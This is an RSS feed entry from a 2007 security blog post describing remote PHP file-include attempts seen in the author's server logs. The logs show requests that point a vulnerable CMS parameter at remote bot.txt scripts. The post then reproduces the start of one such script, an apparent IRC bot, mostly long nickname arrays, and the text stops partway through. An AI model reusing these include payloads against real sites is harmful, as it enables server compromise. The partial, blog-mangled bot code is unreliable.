<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jerry Bell's World &#187; web site</title>
	<atom:link href="http://www.jerry-bell.com/tag/web-site/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.jerry-bell.com</link>
	<description>Intelligent discussion on politics, technology, and security. 100% less ads than the competition.</description>
	<lastBuildDate>Mon, 27 Apr 2009 13:40:12 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Crazy php code injections</title>
		<link>http://www.jerry-bell.com/crazy-php-code-injections/</link>
		<comments>http://www.jerry-bell.com/crazy-php-code-injections/#comments</comments>
		<pubDate>Sat, 24 Nov 2007 00:32:05 +0000</pubDate>
		<dc:creator>jerry</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[web site]]></category>

		<guid isPermaLink="false">http://www.jerry-bell.com/2007/11/23/crazy-php-code-injections/</guid>
		<description><![CDATA[ As I&#8217;ve written about here several times, the onslaught of unsuccessful php include attacks continues.  Today, I saw a new file referenced &#8211; bot.txt.  It looked like this in the apache log file: 216.246.48.124 &#8211; - [23/Nov/2007:17:17:13 -0500] &#8220;GET //chat/inc/cmses/aedating4CMS.php?dir[inc]=http://www.dreamhoppers.com/guestbook/lib/bot.txt?? HTTP/1.1&#8243; 404 41845 &#8220;-&#8221; &#8220;libwww-perl/5.808&#8243; 216.246.48.124 &#8211; - [23/Nov/2007:17:17:13 -0500] &#8220;GET /2007/11/20/current-crop-of-php-include-attempts//chat/inc/cmses/aedating4CMS.php?dir[inc]=http://www.dreamhoppers.com/guestbook/lib/bot.txt?? HTTP/1.1&#8243; 404 41894 [...]]]></description>
			<content:encoded><![CDATA[<p> As I&#8217;ve written about here several times, the onslaught of unsuccessful php include attacks continues.  Today, I saw a new file referenced &#8211; bot.txt.  It looked like this in the apache log file:</p>
<p><span id="more-42"></span></p>
<p>216.246.48.124 &#8211; - [23/Nov/2007:17:17:13 -0500] &#8220;GET //chat/inc/cmses/aedating4CMS.php?dir[inc]=http://www.dreamhoppers.com/guestbook/lib/bot.txt?? HTTP/1.1&#8243; 404 41845 &#8220;-&#8221; &#8220;libwww-perl/5.808&#8243;<br />
216.246.48.124 &#8211; - [23/Nov/2007:17:17:13 -0500] &#8220;GET /2007/11/20/current-crop-of-php-include-attempts//chat/inc/cmses/aedating4CMS.php?dir[inc]=http://www.dreamhoppers.com/guestbook/lib/bot.txt?? HTTP/1.1&#8243; 404 41894 &#8220;-&#8221; &#8220;libwww-perl/5.808&#8243;<br />
216.246.48.124 &#8211; - [23/Nov/2007:17:17:14 -0500] &#8220;GET /2007/11/20//chat/inc/cmses/aedating4CMS.php?dir[inc]=http://www.dreamhoppers.com/guestbook/lib/bot.txt?? HTTP/1.1&#8243; 404 41857 &#8220;-&#8221; &#8220;libwww-perl/5.808&#8243;<br />
205.234.253.31 &#8211; - [23/Nov/2007:17:18:40 -0500] &#8220;GET //chat/inc/cmses/aedating4CMS.php?dir[inc]=http://www.dreamhoppers.com/guestbook/lib/bot.txt?? HTTP/1.1&#8243; 404 41845 &#8220;-&#8221; &#8220;libwww-perl/5.808&#8243;<br />
205.234.253.31 &#8211; - [23/Nov/2007:17:18:40 -0500] &#8220;GET /2007/11/20/current-crop-of-php-include-attempts//chat/inc/cmses/aedating4CMS.php?dir[inc]=http://www.dreamhoppers.com/guestbook/lib/bot.txt?? HTTP/1.1&#8243; 404 41894 &#8220;-&#8221; &#8220;libwww-perl/5.808&#8243;<br />
205.234.253.31 &#8211; - [23/Nov/2007:17:18:41 -0500] &#8220;GET /2007/11/20//chat/inc/cmses/aedating4CMS.php?dir[inc]=http://www.dreamhoppers.com/guestbook/lib/bot.txt?? HTTP/1.1&#8243; 404 41857 &#8220;-&#8221; &#8220;libwww-perl/5.808&#8243;<br />
72.29.84.167 &#8211; - [23/Nov/2007:17:18:57 -0500] &#8220;GET //chat/inc/cmses/aedating4CMS.php?dir[inc]=http://www.dreamhoppers.com/guestbook/lib/bot.txt?? HTTP/1.1&#8243; 404 41845 &#8220;-&#8221; &#8220;libwww-perl/5.808&#8243;<br />
72.29.84.167 &#8211; - [23/Nov/2007:17:18:57 -0500] &#8220;GET /2007/11/20/current-crop-of-php-include-attempts//chat/inc/cmses/aedating4CMS.php?dir[inc]=http://www.dreamhoppers.com/guestbook/lib/bot.txt?? HTTP/1.1&#8243; 404 41894 &#8220;-&#8221; &#8220;libwww-perl/5.808&#8243;<br />
72.29.84.167 &#8211; - [23/Nov/2007:17:18:57 -0500] &#8220;GET /2007/11/20//chat/inc/cmses/aedating4CMS.php?dir[inc]=http://www.dreamhoppers.com/guestbook/lib/bot.txt?? HTTP/1.1&#8243; 404 41857 &#8220;-&#8221; &#8220;libwww-perl/5.808&#8243;<br />
69.65.20.238 &#8211; - [23/Nov/2007:17:19:18 -0500] &#8220;GET //chat/inc/cmses/aedating4CMS.php?dir[inc]=http://www.geocities.com/n_jeg/bot.txt?? HTTP/1.1&#8243; 404 41832 &#8220;-&#8221; &#8220;libwww-perl/5.808&#8243;<br />
69.65.20.238 &#8211; - [23/Nov/2007:17:19:18 -0500] &#8220;GET /2007/11/20/current-crop-of-php-include-attempts//chat/inc/cmses/aedating4CMS.php?dir[inc]=http://www.geocities.com/n_jeg/bot.txt?? HTTP/1.1&#8243; 404 41881 &#8220;-&#8221; &#8220;libwww-perl/5.808&#8243;<br />
69.65.20.238 &#8211; - [23/Nov/2007:17:19:19 -0500] &#8220;GET /2007/11/20//chat/inc/cmses/aedating4CMS.php?dir[inc]=http://www.geocities.com/n_jeg/bot.txt?? HTTP/1.1&#8243; 404 41844 &#8220;-&#8221; &#8220;libwww-perl/5.808&#8243;<br />
205.134.252.23 &#8211; - [23/Nov/2007:17:21:05 -0500] &#8220;GET //chat/inc/cmses/aedating4CMS.php?dir[inc]=http://www.geocities.com/n_jeg/bot.txt?? HTTP/1.1&#8243; 404 41832 &#8220;-&#8221; &#8220;libwww-perl/5.808&#8243;</p>
<p>I have been downloading and looking at each of the files I see &#8211; most of them are the same or loosely copied from one another.  Today is the first time seeing this file for me.  The file follows:</p>
<p>&lt;/html&gt;</p>
<p>&lt;title&gt;31337&lt;/title&gt;</p>
<p>&lt;?php</p>
<p>//fighter script &#8211; BAJAY</p>
<p>function working() {</p>
<p>$querym=array(</p>
<p>&#8220;?&#8221;,</p>
<p>&#8220;!&#8221;,</p>
<p>&#8220;^^&#8221;,</p>
<p>&#8221; ^^&#8221;,</p>
<p>&#8221; <img src='http://www.jerry-bell.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> &#8220;,</p>
<p>&#8221; <img src='http://www.jerry-bell.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> &#8221;,</p>
<p>&#8221; ~:&gt;&#8221;,</p>
<p>&#8221; <img src='http://www.jerry-bell.com/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> ~&#8221;,</p>
<p>&#8221; <img src='http://www.jerry-bell.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> &#8221;,</p>
<p>&#8220;,&#8221;,</p>
<p>&#8220;.&#8221;,</p>
<p>&#8220;a&#8221;,</p>
<p>&#8220;i&#8221;,</p>
<p>&#8220;u&#8221;,</p>
<p>&#8220;e&#8221;,</p>
<p>&#8220;o&#8221;,</p>
<p>&#8220;z&#8221;,</p>
<p>&#8220;v&#8221;,</p>
<p>&#8220;z&#8221;,</p>
<p>&#8220;x&#8221;,</p>
<p>&#8220;c&#8221;,</p>
<p>&#8220;p&#8221;,</p>
<p>&#8220;m&#8221;,</p>
<p>&#8220;t&#8221;,</p>
<p>&#8220;k&#8221;,</p>
<p>&#8220;b&#8221;,</p>
<p>&#8220;s&#8221;,</p>
<p>&#8220;u&#8221;,</p>
<p>&#8220;bot&#8221;,</p>
<p>&#8220;g&#8221;,</p>
<p>&#8220;lo&#8221;,</p>
<p>&#8220;jo&#8221;,</p>
<p>&#8220;lol&#8221;</p>
<p>);</p>
<p>$tsu1=array(&#8220;`&#8221;,&#8221;|&#8221;,&#8221;[","]&#8220;,&#8221;{&#8220;,&#8221;}&#8221;,&#8221;^&#8221;,&#8221;<span style="text-decoration: underline;">&#8220;);<br />
$tsu2=array(&#8220;`&#8221;,&#8221;|&#8221;,&#8221;[","]&#8220;,&#8221;{&#8220;,&#8221;}&#8221;,&#8221;^&#8221;,&#8221;-&#8221;,&#8221;\\&#8221;,&#8221;</span>&#8220;);<br />
$nicky=array(</p>
<p> &#8221;indotong&#8221;,</p>
<p> &#8221;rujange&#8221;,</p>
<p> &#8221;kentungs`&#8221;,</p>
<p> &#8221;sa_bosox&#8221;,</p>
<p> &#8221;japut1h&#8221;,</p>
<p> &#8221;start-Tegal&#8221;,</p>
<p> &#8221;stafp-pol&#8221;,</p>
<p> &#8221;apring&#8221;,</p>
<p> &#8221;my-bojo&#8221;,</p>
<p> &#8221;didiamu&#8221;,</p>
<p> &#8221;acongkasep&#8221;,</p>
<p> &#8221;rahasiailahi&#8221;,</p>
<p> &#8221;kutukurap&#8221;,</p>
<p> &#8221;duniagame&#8221;,</p>
<p> &#8221;pipilak&#8221;,</p>
<p> &#8221;Deeams&#8221;,</p>
<p> &#8221;Dewiani&#8221;,</p>
<p> &#8221;Lohanes&#8221;,</p>
<p> &#8221;Semsem2&#8243;,</p>
<p> &#8221;kuruyuk&#8221;,</p>
<p> &#8221;J4mput9&#8243;,</p>
<p> &#8221;acongTop&#8221;,</p>
<p> &#8221;bojokuayu&#8221;,</p>
<p> &#8221;Yuliyanti&#8221;,</p>
<p> &#8221;Ratnazar1&#8243;,</p>
<p> &#8221;Mydidit&#8221;,</p>
<p> &#8221;Rebecha&#8221;,</p>
<p> &#8221;Rastang&#8221;,</p>
<p> &#8221;Ganjils&#8221;,</p>
<p> &#8221;Bob-ho&#8221;,</p>
<p> &#8221;Dhinihari&#8221;,</p>
<p> &#8221;Dewimalam&#8221;,</p>
<p> &#8221;Lunaks&#8221;,</p>
<p> &#8221;Lowo-lawet&#8221;,</p>
<p> &#8221;Kolor-ku&#8221;,</p>
<p> &#8221;repolisi&#8221;,</p>
<p> &#8221;macanireng&#8221;,</p>
<p> &#8221;ivantat&#8221;,</p>
<p> &#8221;Kasugihan&#8221;,</p>
<p> &#8221;Kasiandeh&#8221;,</p>
<p> &#8221;awakapal&#8221;,</p>
<p> &#8221;Rachings&#8221;,</p>
<p> &#8221;War-tol&#8221;,</p>
<p> &#8221;Warnetlu&#8221;,</p>
<p> &#8221;Antikus&#8221;,</p>
<p> &#8221;[Dwirais]&#8220;,</p>
<p> &#8221;Phoecrot&#8221;,</p>
<p> &#8221;hiumania&#8221;,</p>
<p> &#8221;mas-amain&#8221;,</p>
<p> &#8221;Fafa-item&#8221;,</p>
<p> &#8221;Neonoek&#8221;,</p>
<p> &#8221;mba-abel&#8221;,</p>
<p> &#8221;Bencana&#8221;,</p>
<p> &#8221;nyosor&#8221;,</p>
<p> &#8221;Fitaken&#8221;,</p>
<p> &#8221;novakerep&#8221;,</p>
<p> &#8221;poerin&#8221;,</p>
<p> &#8221;lembene&#8221;,</p>
<p> &#8221;[sutijah]&#8220;,</p>
<p> &#8221;Skickmat&#8221;,</p>
<p> &#8221;Depangank&#8221;,</p>
<p> &#8221;Bonutang&#8221;,</p>
<p> &#8221;Stelangas&#8221;,</p>
<p> &#8221;Hellomam&#8221;,</p>
<p> &#8221;Pinkwingke&#8221;,</p>
<p> &#8221;Rolsepatu&#8221;,</p>
<p> &#8221;Defanku&#8221;,</p>
<p> &#8221;Mamalia&#8221;,</p>
<p> &#8221;Grahams&#8221;,</p>
<p> &#8221;Rocok&#8221;,</p>
<p> &#8221;jintuL-&#8221;,</p>
<p> &#8221;Urunan&#8221;,</p>
<p> &#8221;Piceks&#8221;,</p>
<p> &#8221;Kirbaju&#8221;,</p>
<p> &#8221;Asinans&#8221;,</p>
<p> &#8221;Muluk&#8221;,</p>
<p> &#8221;Mainanku&#8221;,</p>
<p> &#8221;Memete&#8221;,</p>
<p> &#8221;Kerambol&#8221;,</p>
<p> &#8221;Morbaut&#8221;,</p>
<p> &#8221;Clanane&#8221;,</p>
<p> &#8221;Nicitirta&#8221;,</p>
<p> &#8221;Jahlogo&#8221;,</p>
<p> &#8221;Sogokeh&#8221;,</p>
<p> &#8221;Hayamwuruk&#8221;,</p>
<p> &#8221;Selipan&#8221;,</p>
<p> &#8221;Myculun&#8221;,</p>
<p> &#8221;Mybojoe&#8221;,</p>
<p> &#8221;Selething&#8221;,</p>
<p> &#8221;T|kets&#8221;,</p>
<p> &#8221;Kompromi&#8221;,</p>
<p> &#8221;Montoks&#8221;,</p>
<p> &#8221;Trinitad&#8221;,</p>
<p> &#8221;Turboxs&#8221;,</p>
<p> &#8221;Mymata&#8221;,</p>
<p> &#8221;Indomobil&#8221;,</p>
<p> &#8221;KotaTegalkoe&#8221;,</p>
<p> &#8221;Peramal&#8221;,</p>
<p> &#8221;Hilangkoe&#8221;,</p>
<p> &#8221;Jalangs&#8221;,</p>
<p> &#8221;Jeengkel&#8221;,</p>
<p> &#8221;KaKikuda&#8221;,</p>
<p> &#8221;zhempol&#8221;,</p>
<p> &#8221;Pupens&#8221;,</p>
<p> &#8221;reneo&#8221;,</p>
<p> &#8221;[dorce]&#8220;,</p>
<p> &#8221;[yakin]&#8220;,</p>
<p> &#8221;[sung]&#8220;,</p>
<p> &#8221;[asli]&#8220;,</p>
<p> &#8221;suratan&#8221;,</p>
<p> &#8221;Cemplunk&#8221;,</p>
<p> &#8221;ladood&#8221;,</p>
<p> &#8221;lodados&#8221;,</p>
<p> &#8221;Jaambret&#8221;,</p>
<p> &#8221;Nyanyie&#8221;,</p>
<p> &#8221;Karmate&#8221;,</p>
<p> &#8221;Kunclup&#8221;,</p>
<p> &#8221;Simiskin&#8221;,</p>
<p> &#8221;Kamprets&#8221;,</p>
<p> &#8221;Kandang&#8221;,</p>
<p> &#8221;Kamuse&#8221;,</p>
<p> &#8221;Kendils&#8221;,</p>
<p> &#8221;Ketans&#8221;,</p>
<p> &#8221;Maantri&#8221;,</p>
<p> &#8221;anjengk&#8221;,</p>
<p> &#8221;angklung&#8221;,</p>
<p> &#8221;Kopok&#8221;,</p>
<p> &#8221;Krasi&#8221;,</p>
<p> &#8221;Kotors&#8221;,</p>
<p> &#8221;Karpets&#8221;,</p>
<p> &#8221;Kejangs&#8221;,</p>
<p> &#8221;Antraxs&#8221;,</p>
<p> &#8221;Adaband&#8221;,</p>
<p> &#8221;Kakusung&#8221;,</p>
<p> &#8221;Cocoran&#8221;,</p>
<p> &#8221;Bebelak&#8221;,</p>
<p> &#8221;Buluss&#8221;,</p>
<p> &#8221;Banatung&#8221;,</p>
<p> &#8221;Bembem&#8221;,</p>
<p> &#8221;Buntung&#8221;,</p>
<p> &#8221;Boroks&#8221;,</p>
<p> &#8221;Bambangs&#8221;,</p>
<p> &#8221;Bonteng&#8221;,</p>
<p> &#8221;Bumbu&#8221;,</p>
<p> &#8221;Bagasi&#8221;,</p>
<p> &#8221;Bimbing&#8221;,</p>
<p> &#8221;Chawets&#8221;,</p>
<p> &#8221;Coontex&#8221;,</p>
<p> &#8221;Clikat&#8221;,</p>
<p> &#8221;Cemceman&#8221;,</p>
<p> &#8221;Cokore&#8221;,</p>
<p> &#8221;Cuning&#8221;,</p>
<p> &#8221;Karmans&#8221;,</p>
<p> &#8221;Kodils&#8221;,</p>
<p> &#8221;Kaamra&#8221;,</p>
<p> &#8221;Darjo&#8221;,</p>
<p> &#8221;Dawud&#8221;,</p>
<p> &#8221;Daarto&#8221;,</p>
<p> &#8221;Damrie&#8221;,</p>
<p> &#8221;Dakroni&#8221;,</p>
<p> &#8221;Dimyati&#8221;,</p>
<p> &#8221;Dulung&#8221;,</p>
<p> &#8221;Enteng&#8221;,</p>
<p> &#8221;Emaxs&#8221;,</p>
<p> &#8221;Lomoboh&#8221;,</p>
<p> &#8221;Comodore&#8221;,</p>
<p> &#8221;Cimenks&#8221;,</p>
<p> &#8221;Cerutu&#8221;,</p>
<p> &#8221;Contonge&#8221;,</p>
<p> &#8221;Cukek&#8221;,</p>
<p> &#8221;Comblang&#8221;,</p>
<p> &#8221;Cemplak&#8221;,</p>
<p> &#8221;Cemanie&#8221;,</p>
<p> &#8221;Cembok&#8221;,</p>
<p> &#8221;Cekram&#8221;,</p>
<p> &#8221;Tegasung&#8221;,</p>
<p> &#8221;Tegarlah&#8221;,</p>
<p> &#8221;Teguhlah&#8221;,</p>
<p> &#8221;Tegeltak&#8221;,</p>
<p> &#8221;Tempek&#8221;,</p>
<p> &#8221;Antraxs&#8221;,</p>
<p> &#8221;Ampow&#8221;,</p>
<p> &#8221;Azdan&#8221;,</p>
<p> &#8221;Aburadul&#8221;,</p>
<p> &#8221;Antro&#8221;,</p>
<p> &#8221;Amings&#8221;,</p>
<p> &#8221;Angrexs&#8221;,</p>
<p> &#8221;Asrama&#8221;,</p>
<p> &#8221;Alimsung&#8221;,</p>
<p> &#8221;Aalas&#8221;,</p>
<p> &#8221;Abangku&#8221;,</p>
<p> &#8221;Amise&#8221;,</p>
<p> &#8221;Aconks&#8221;,</p>
<p> &#8221;Acongcup&#8221;,</p>
<p> &#8221;Acongsu&#8221;,</p>
<p> &#8221;Aconger&#8221;,</p>
<p> &#8221;Acongus&#8221;,</p>
<p> &#8221;Acongen&#8221;,</p>
<p> &#8221;sshd&#8221;,</p>
<p> &#8221;Masterkid&#8221;,</p>
<p> &#8221;alexutz&#8221;,</p>
<p> &#8221;andreea&#8221;,</p>
<p> &#8221;diana&#8221;,</p>
<p> &#8221;marius&#8221;,</p>
<p> &#8221;r00t&#8221;,</p>
<p> &#8221;kit&#8221;,</p>
<p> &#8221;mihai&#8221;,</p>
<p> &#8221;mihaela&#8221;,</p>
<p> &#8221;mario&#8221;,</p>
<p> &#8221;daiana&#8221;,</p>
<p> &#8221;andrei&#8221;,</p>
<p> &#8221;andreia&#8221;,</p>
<p> &#8221;tigan&#8221;,</p>
<p> &#8221;petre&#8221;,</p>
<p> &#8221;peter&#8221;,</p>
<p> &#8221;alexandre&#8221;,</p>
<p> &#8221;raluca&#8221;,</p>
<p> &#8221;master&#8221;,</p>
<p> &#8221;kid&#8221;,</p>
<p> &#8221;alias&#8221;,</p>
<p> &#8221;sbin&#8221;,</p>
<p> &#8221;p0rt&#8221;,</p>
<p> &#8221;sync&#8221;,</p>
<p> &#8221;mildest&#8221;,</p>
<p> &#8221;xzvf&#8221;,</p>
<p> &#8221;tar&#8221;,</p>
<p> &#8221;tgz&#8221;,</p>
<p> &#8221;dfg&#8221;,</p>
<p> &#8221;netcatxpl&#8221;,</p>
<p> &#8221;xpl&#8221;,</p>
<p> &#8221;xop&#8221;,</p>
<p> &#8221;xpls&#8221;,</p>
<p> &#8221;xploit&#8221;,</p>
<p> &#8221;xploits&#8221;,</p>
<p> &#8221;drxrwx&#8221;,</p>
<p> &#8221;drx-x&#8221;,</p>
<p> &#8221;system32&#8243;,</p>
<p> &#8221;alexandru&#8221;,</p>
<p> &#8221;alexander&#8221;,</p>
<p> &#8221;mihaela&#8221;,</p>
<p> &#8221;andrusca&#8221;,</p>
<p> &#8221;andra&#8221;,</p>
<p> &#8221;darius&#8221;,</p>
<p> &#8221;dani&#8221;,</p>
<p> &#8221;darnie&#8221;,</p>
<p> &#8221;daniel&#8221;,</p>
<p> &#8221;daniela&#8221;,</p>
<p> &#8221;mist3r&#8221;,</p>
<p> &#8221;x9v93c&#8221;,</p>
<p> &#8221;hunglec&#8221;,</p>
<p> &#8221;blasje&#8221;,</p>
<p> &#8221;bash&#8221;,</p>
<p> &#8221;blicke&#8221;,</p>
<p> &#8221;foirne&#8221;,</p>
<p> &#8221;wonder&#8221;,</p>
<p> &#8221;cvv2&#8243;,</p>
<p> &#8221;ssn&#8221;,</p>
<p> &#8221;creditcard&#8221;,</p>
<p> &#8221;ccnumber&#8221;,</p>
<p> &#8221;usher&#8221;,</p>
<p> &#8221;salam&#8221;,</p>
<p> &#8221;guta&#8221;,</p>
<p> &#8221;gutza&#8221;,</p>
<p> &#8221;biatchx&#8221;,</p>
<p> &#8221;bitch&#8221;,</p>
<p> &#8221;bitchX&#8221;,</p>
<p> &#8221;cine3&#8243;,</p>
<p> &#8221;scufitza&#8221;,</p>
<p> &#8221;copiluldeaur&#8221;,</p>
<p> &#8221;b0r4k&#8221;,</p>
<p> &#8221;counter&#8221;,</p>
<p> &#8221;strike&#8221;,</p>
<p> &#8221;usuf&#8221;,</p>
<p> &#8221;erny&#8221;,</p>
<p> &#8221;ernest&#8221;,</p>
<p> &#8221;modjo&#8221;,</p>
<p> &#8221;jinger&#8221;,</p>
<p> &#8221;b0ts&#8221;,</p>
<p> &#8221;r00ter&#8221;,</p>
<p> &#8221;g00gler&#8221;,</p>
<p> &#8221;mistcke&#8221;,</p>
<p> &#8221;linuxhack&#8221;,</p>
<p> &#8221;linuxhacker&#8221;,</p>
<p> &#8221;hacked&#8221;,</p>
<p> &#8221;fain&#8221;,</p>
<p> &#8221;ssl&#8221;,</p>
<p> &#8221;czxvr&#8221;,</p>
<p> &#8221;alb&#8221;,</p>
<p> &#8221;rosu&#8221;,</p>
<p> &#8221;romania&#8221;,</p>
<p> &#8221;rusia&#8221;,</p>
<p> &#8221;uk&#8221;,</p>
<p> &#8221;anglia&#8221;,</p>
<p> &#8221;comment&#8221;,</p>
<p> &#8221;hi5&#8243;,</p>
<p> &#8221;yah00&#8243;,</p>
<p> &#8221;silence&#8221;,</p>
<p> &#8221;us-com&#8221;,</p>
<p> &#8221;htiermc&#8221;,</p>
<p> &#8221;c00ldown&#8221;,</p>
<p> &#8221;misteryo&#8221;,</p>
<p> &#8221;hasked&#8221;,</p>
<p> &#8221;billaio&#8221;,</p>
<p> &#8221;smeoua&#8221;,</p>
<p> &#8221;muie&#8221;,</p>
<p> &#8221;sugator&#8221;,</p>
<p> &#8221;hashed&#8221;,</p>
<p> &#8221;f0lds&#8221;,</p>
<p> &#8221;folk&#8221;,</p>
<p> &#8221;f0lks&#8221;,</p>
<p> &#8221;numeroben&#8221;,</p>
<p> &#8221;hulk&#8221;,</p>
<p> &#8221;hiscke&#8221;,</p>
<p> &#8221;unae&#8221;,</p>
<p> &#8221;unhackable&#8221;,</p>
<p> &#8221;unhacker&#8221;,</p>
<p> &#8221;h4ack3rz&#8221;,</p>
<p> &#8221;hackerz&#8221;,</p>
<p> &#8221;ruter&#8221;,</p>
<p> &#8221;inji&#8221;,</p>
<p> &#8221;injecto&#8221;,</p>
<p> &#8221;freespace&#8221;,</p>
<p> &#8221;bulling&#8221;,</p>
<p> &#8221;mihaio&#8221;,</p>
<p> &#8221;ulgia&#8221;,</p>
<p> &#8221;c992mc&#8221;,</p>
<p> &#8221;miskce&#8221;,</p>
<p> &#8221;uber&#8221;,</p>
<p> &#8221;n0r&#8221;,</p>
<p> &#8221;c0x&#8221;,</p>
<p> &#8221;niekad&#8221;,</p>
<p> &#8221;naked&#8221;,</p>
<p> &#8221;nakedboy&#8221;,</p>
<p> &#8221;b0ys&#8221;,</p>
<p> &#8221;b0y&#8221;,</p>
<p> &#8221;messenger&#8221;,</p>
<p> &#8221;hopa&#8221;,</p>
<p> &#8221;hai-hui&#8221;,</p>
<p> &#8221;power-me&#8221;,</p>
<p> &#8221;sekos&#8221;,</p>
<p> &#8221;micke&#8221;,</p>
<p> &#8221;n0tron&#8221;,</p>
<p> &#8221;ron&#8221;,</p>
<p> &#8221;d0llars&#8221;,</p>
<p> &#8221;Euros&#8221;,</p>
<p> &#8221;pavalgia&#8221;,</p>
<p> &#8221;nasty&#8221;,</p>
<p> &#8221;hideend&#8221;,</p>
<p> &#8221;miskr3c&#8221;,</p>
<p> &#8221;incjen&#8221;,</p>
<p> &#8221;mass&#8221;,</p>
<p> &#8221;mailers&#8221;,</p>
<p> &#8221;mail3r&#8221;,</p>
<p> &#8221;th3kid&#8221;,</p>
<p> &#8221;k1d&#8221;,</p>
<p> &#8221;hepa&#8221;,</p>
<p> &#8221;m00r-d3f&#8221;,</p>
<p> &#8221;tzaca-paca&#8221;,</p>
<p> &#8221;headshot&#8221;,</p>
<p> &#8221;higgings&#8221;,</p>
<p> &#8221;slapest&#8221;,</p>
<p> &#8221;gansta&#8221;,</p>
<p> &#8221;gigging&#8221;,</p>
<p> &#8221;oame&#8221;,</p>
<p> &#8221;aoana&#8221;,</p>
<p> &#8221;mcike_dke&#8221;,</p>
<p> &#8221;blible&#8221;,</p>
<p> &#8221;XeqtR&#8221;,</p>
<p> &#8221;Xander&#8221;,</p>
<p> &#8221;xXx&#8221;,</p>
<p> &#8221;xxL&#8221;,</p>
<p> &#8221;vartmp&#8221;,</p>
<p> &#8221;0aoek&#8221;,</p>
<p> &#8221;summer&#8221;,</p>
<p> &#8221;etez&#8221;,</p>
<p> &#8221;crucike&#8221;,</p>
<p> &#8221;n0rme&#8221;,</p>
<p> &#8221;mihale&#8221;,</p>
<p> &#8221;c0rneaz&#8221;,</p>
<p> &#8221;blestem&#8221;,</p>
<p> &#8221;ghoost&#8221;,</p>
<p> &#8221;sicles&#8221;,</p>
<p> &#8221;c0mrsze&#8221;,</p>
<p> &#8221;sckme&#8221;,</p>
<p> &#8221;abie9t&#8221;,</p>
<p> &#8221;g912mc&#8221;,</p>
<p> &#8221;opernms&#8221;,</p>
<p> &#8221;micake&#8221;,</p>
<p> &#8221;qsuen&#8221;,</p>
<p> &#8221;zquers&#8221;,</p>
<p> &#8221;targetzd&#8221;,</p>
<p> &#8221;kem30ce&#8221;,</p>
<p> &#8221;nik1rc&#8221;,</p>
<p> &#8221;miosugi&#8221;,</p>
<p> &#8221;sugipula&#8221;,</p>
<p> &#8221;alupigus&#8221;,</p>
<p> &#8221;criminal&#8221;,</p>
<p> &#8221;danke&#8221;,</p>
<p> &#8221;shonw&#8221;,</p>
<p> &#8221;c0mrme&#8221;,</p>
<p> &#8221;muhahah&#8221;,</p>
<p> &#8221;biker4zs&#8221;,</p>
<p> &#8221;ckkemc&#8221;,</p>
<p> &#8221;clujeane&#8221;,</p>
<p> &#8221;hepahofn&#8221;,</p>
<p> &#8221;hepafon&#8221;,</p>
<p> &#8221;blackspace&#8221;,</p>
<p> &#8221;aabbcc&#8221;,</p>
<p> &#8221;ni1krc&#8221;,</p>
<p> &#8221;perosume&#8221;,</p>
<p> &#8221;perugis&#8221;,</p>
<p> &#8221;cliskeacz&#8221;,</p>
<p> &#8221;hennmx0c&#8221;,</p>
<p> &#8221;gbusf41&#8243;,</p>
<p> &#8221;bv9mvu3&#8243;,</p>
<p> &#8221;nik3rcs&#8221;,</p>
<p> &#8221;ghruwec&#8221;,</p>
<p> &#8221;slickez&#8221;,</p>
<p> &#8221;burgez&#8221;,</p>
<p> &#8221;h4mburger&#8221;,</p>
<p> &#8221;dijenmcie&#8221;,</p>
<p> &#8221;pijakence&#8221;,</p>
<p> &#8221;hai-blaeh&#8221;,</p>
<p> &#8221;power-you&#8221;,</p>
<p> &#8221;djstone&#8221;,</p>
<p> &#8221;djkid&#8221;,</p>
<p> &#8221;djthekid&#8221;,</p>
<p> &#8221;djmaster&#8221;,</p>
<p> &#8221;eftimie&#8221;,</p>
<p> &#8221;djcorason&#8221;,</p>
<p> &#8221;djalex&#8221;,</p>
<p> &#8221;djconstantin&#8221;,</p>
<p> &#8221;djbitch&#8221;,</p>
<p> &#8221;djk1d&#8221;,</p>
<p> &#8221;djtarget&#8221;,</p>
<p> &#8221;masterjungel&#8221;,</p>
<p> &#8221;daradaam&#8221;,</p>
<p> &#8221;uhmenze&#8221;,</p>
<p> &#8221;glicjex&#8221;,</p>
<p> &#8221;fortex&#8221;,</p>
<p> &#8221;hepafoneav&#8221;,</p>
<p> &#8221;m00rd3r&#8221;,</p>
<p> &#8221;tzacapaca&#8221;,</p>
<p> &#8221;nijeaz&#8221;,</p>
<p> &#8221;clijekcmez&#8221;,</p>
<p> &#8221;okkmmenc&#8221;,</p>
<p> &#8221;psyBNCz&#8221;,</p>
<p> &#8221;shellZ0&#8243;,</p>
<p> &#8221;kinderuL&#8221;,</p>
<p> &#8221;XeqtR&#8221;,</p>
<p> &#8221;metrolink&#8221;,</p>
<p> &#8221;ana&#8221;,</p>
<p> &#8221;anna&#8221;,</p>
<p> &#8221;squre&#8221;,</p>
<p> &#8221;xzvf0&#8243;,</p>
<p> &#8221;k1d-&#8221;,</p>
<p> &#8221;norman&#8221;,</p>
<p> &#8221;zquRs&#8221;,</p>
<p> &#8221;howhigh&#8221;,</p>
<p> &#8221;howhigt2&#8243;,</p>
<p> &#8221;blessus&#8221;,</p>
<p> &#8221;am3rica&#8221;,</p>
<p> &#8221;amer1ca&#8221;,</p>
<p> &#8221;spion&#8221;,</p>
<p> &#8221;spypower&#8221;,</p>
<p> &#8221;nextfan&#8221;,</p>
<p> &#8221;upl0ad&#8221;,</p>
<p> &#8221;s3arch&#8221;,</p>
<p> &#8221;searchX&#8221;,</p>
<p> &#8221;b0rak&#8221;,</p>
<p> &#8221;w00ps&#8221;,</p>
